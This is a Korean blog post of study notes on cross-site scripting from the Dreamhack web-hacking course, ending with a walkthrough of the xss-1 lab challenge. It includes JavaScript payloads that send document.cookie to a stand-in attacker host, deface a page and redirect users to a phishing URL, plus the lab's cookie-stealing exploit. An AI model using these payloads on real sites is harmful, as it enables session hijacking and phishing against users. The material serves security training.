STAGE 4. Cross-Site-Scripting (XSS)
Cross Site Scripting (XSS)
- 클라이언트 사이드 취약점 중 하나
- 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있음
- 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있음
- 쿠키 탈취에 많이 사용됨
XSS 발생 예시
- 이용자가 삽입한 내용을 출력하는 기능에서 발생
XSS 발생 종류
1) Stored XSS : 악성 스크립트가 서버 내에 존재, 이용자가 저장된 악성 스크립트를 조회할 때 발생
ex) 게시물과 댓글에 악성 스크립트를 포함해 업로드하여 이용자가 읽도록 유도
2) Reflected XSS : 악성 스크립트가 이용자 요청 내에 존재, 이용자가 악성 스크립트가 포함된 요청을 보낸 후 응답을 출력할 때 발생
ex) 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식
- Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생함
- 따라서 공격을 위해 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 함
3) DOM-based XSS : XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS
4) Universal XSS : 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS
XSS 스크립트 예시
- 자바스크립트를 실행하기 위한 태그 <script> 이용
1) 쿠키 및 세션 탈취 공격 코드
<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie;
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
2) 페이지 변조 공격 코드
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
3) 위치 이동 공격 코드
<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing";
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>
STAGE 4. Exercise : XSS
- XSS를 통해 다른 이용자의 쿠키를 탈취
셀레늄 (Selenium)
- 웹 애플리케이션 테스팅에 사용되는 파이썬 모듈로, API를 통해 웹 드라이버 (크롬, 사파리 등)를 사용할 수 있음
- 다른 이용자가 방문하는 기능을 구현하기 위해 사용
STAGE 4. xss-1
위와 같이 세 페이지를 확인할 수 있는데, 우선 vuln(xss) page는
이용자가 입력한 vuln 인자를 가져오고 해당 입력값을 화면 상에 표시해준다.
memo는
이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력한다.
GET - 이용자에게 URL을 입력받는 페이지를 제공함
POST - param 파라미터에 값과 쿠키에 FLAG를 포함해 check_xss 함수를 호출함
check_xss는 read_url 함수를 호출해 vuln 엔드포인트에 접속함
취약점 분석
- vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생함
- memo는 render_template 함수를 사용해 memo.html을 출력함
- render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않음
* render_template()
첫번째 인자 - 렌더링 할 html 파일명
두번째 인자 - html 파일에 전달할 변수
익스플로잇
- /vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 함.
- 자바스크립트를 실행하기 위한 태그 <script> 이용
- location.href : 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값
- document.cookie : 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값
쿠키 탈취 - memo 페이지 사용
flag 엔드포인트에서 아래와 같은 익스플로잇 코드를 입력하면, memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있음
<script>location.href = "/memo?memo=" + document.cookie;</script>
정리
서버에서 이용자의 입력값을 별다른 검증 없이 페이지에 출력할 경우 발생할 수 있는 문제점
XSS 공격은 주로 이용자의 입력값이 출력되는 페이지에서 발생하며, 해당 공격을 통해 타 이용자의 브라우저에 저장된 쿠키 및 세션 정보를 탈취할 수 있음
'Web' 카테고리의 다른 글
[Dreamhack] Web Hacking STAGE 5 (CSRF) (0) | 2022.02.07 |
---|---|
[Dreamhack] xss-2 (0) | 2022.02.06 |
[Dreamhack] Web Hacking STAGE 3 (0) | 2022.01.23 |
[Dreamhack] Web Hacking STAGE 2 (0) | 2022.01.15 |
[bWAPP] SQL Injection (GET/Search) (0) | 2021.09.16 |